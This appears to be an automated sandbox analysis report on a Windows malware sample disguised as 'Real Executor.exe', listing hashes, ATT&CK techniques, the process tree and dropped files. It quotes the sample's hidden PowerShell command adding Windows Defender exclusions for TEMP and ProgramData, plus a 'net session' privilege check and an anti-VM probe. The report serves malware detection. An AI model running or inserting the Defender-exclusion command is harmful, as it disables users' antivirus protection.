f02c012b21fbd9aa636afc247ff6677a6e635845bb36ab4d1e0f1b404af27fa1

Analysis

max time kernel
149s
max time network
122s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/10/2026, 23:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Real Executor.exe
Size 111.7MB
Sample261004-3dzcsss12q
SHA256 f02c012b21fbd9aa636afc247ff6677a6e635845bb36ab4d1e0f1b404af27fa1
MD5 1fd7690ad52a07ac52e6406bb52db5ba
SHA1 3a46d0c9383d961a5eef7a94aa7261fd582fe7f2
SHA512 bf974fabfbf47a1c77d975ea8aba961361c338fcb235505f6d53d474bc071ce7207c75166f6625640ee1f7f3361a21af19a0f4a489fc23542657386ab3777974
SSDEEP 1572864:1Pp36F/iKRz3o0EL9uXpXFxAI/MZqNrGZVOc4XIoC3MnluZQrZa:1PpIl3heuXpX/z/5NivOcC7hlTrk
TLSH
T18148F01663E111AAD577D178C7AB6203EB72B40713308BDB329C43652F73AE45E7AB60
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4812	powershell.exe
4736	powershell.exe
4812	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1244	GFiTST3WhQHa.exe

Enumerates connected drives 3 TTPs 2 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	GFiTST3WhQHa.exe

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3316	cmd.exe
3716	cmd.exe
5092	cmd.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4736	powershell.exe
4736	powershell.exe
4812	powershell.exe
4812	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4736	powershell.exe
Token: SeDebugPrivilege	4812	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4696 wrote to memory of 3316	4696	Real Executor.exe	86
PID 3316 wrote to memory of 4736	3316	cmd.exe	88
PID 4696 wrote to memory of 3716	4696	Real Executor.exe	98
PID 3716 wrote to memory of 2188	3716	cmd.exe	100
PID 2188 wrote to memory of 4440	2188	net.exe	101
PID 4696 wrote to memory of 5092	4696	Real Executor.exe	102
PID 5092 wrote to memory of 4812	5092	cmd.exe	104
PID 4812 wrote to memory of 1284	4812	powershell.exe	107
PID 4696 wrote to memory of 1244	4696	Real Executor.exe	109

C:\Users\Admin\AppData\Local\Temp\Real Executor.exe
"C:\Users\Admin\AppData\Local\Temp\Real Executor.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -Command [void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); [System.Windows.Forms.MessageBox]::Show('version 1.0.0','Program','OK','Information')"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3316
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -WindowStyle Hidden -Command [void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); [System.Windows.Forms.MessageBox]::Show('version 1.0.0','Program','OK','Information')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3716
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2188
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4440
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath $env:TEMP,'C:\ProgramData','C:\ProgramData\Windows\Microsoft','C:\ProgramData\Microsoft\Windows'; gpupdate /force""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath $env:TEMP,'C:\ProgramData','C:\ProgramData\Windows\Microsoft','C:\ProgramData\Microsoft\Windows'; gpupdate /force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4812
  - - C:\Windows\system32\gpupdate.exe
      "C:\Windows\system32\gpupdate.exe" /force
      4⤵
      PID:1284
- C:\ProgramData\GFiTST3WhQHa.exe
  C:\ProgramData\GFiTST3WhQHa.exe
  2⤵
  - Executes dropped EXE
  - Checks for VirtualBox DLLs, possible anti-VM trick
  PID:1244

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

GFiTST3WhQHa.exe

Path C:\ProgramData\GFiTST3WhQHa.exe
Size 669KB
SHA256 6ae18e8c7a22826416f305e7ba5fba5c0eb26fe54fe33f23a740bd4e5fc7801e
MD5 c27149aeeb6f1c222682d87ca147bb67
SHA1 cfc27cd80df4714cce2c84681f48e6aa8b9d6944
SHA512 9e141966e5d8820d0111250007a134236b04984c3aefa547987970b0c69dfa0ff2ea41d01f8190b1273c68b505abe9d0a23c76ae9348f916520f7b9bd5b9bb88
SSDEEP 6144:6BXJJaw9NNfek39BxS2gBAe3OGP4Xk80I1osms7S1kFJEdw+qDZ+c1YYFsxMku5w:6BXdD34AFGQ/SrqDZ+c1YYFMMku5/Q99
TLSH
T1AFE492D1D28B2440ED434938A5CE43DBA7AD3C524856AB3A115B5F883FAC577289FB0F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 8d0896f043e62ea4952833cb20d23fc5f39f2a004bada23c71fc41af8b37a6e2
MD5 4b6a25c71368c32af07089d65cb075f5
SHA1 489f98f82b860b96b375af8b236d2a390c6e2fd4
SHA512 24f6478e8bc175d10bd849356a35b421daf718839c344ce1a14ac0324d4c90162df618f690de61d992a92fc4c9b8cf8bb46eddb8560da5a126ad0904456ef4c9
TLSH
T10F51DF313376B0D888163F461D691AC053BF4355FA94AF1CB698625EDE2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 6afa80b19993f133da6985829cb633fcd86d1876b30a391419a356686740a716
MD5 4632bad4c6e612501a7e5cc8713db8d7
SHA1 6771c02d30799139bd5a9965c83add4c926f21ee
SHA512 ab9142d748828bd899c864c388217881a5fd5e8c3479a0f168521a1533481876375dd7e3f662206fa9bf6e372b7a9326baa0c0dc2ce610ba37db1a9905e80be7
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_qz1b4ada.cmc.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qz1b4ada.cmc.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4736-1-0x000001DFB2BE0000-0x000001DFB2BF0000-memory.dmp

Download

memory/4736-2-0x000001DFB2BE0000-0x000001DFB2BF0000-memory.dmp

Download

memory/4736-8-0x000001DFB4E00000-0x000001DFB4E22000-memory.dmp

Download

memory/4812-22-0x000001FDEE920000-0x000001FDEEB3C000-memory.dmp

Download

memory/4812-24-0x000001FDEE920000-0x000001FDEEB3C000-memory.dmp

Download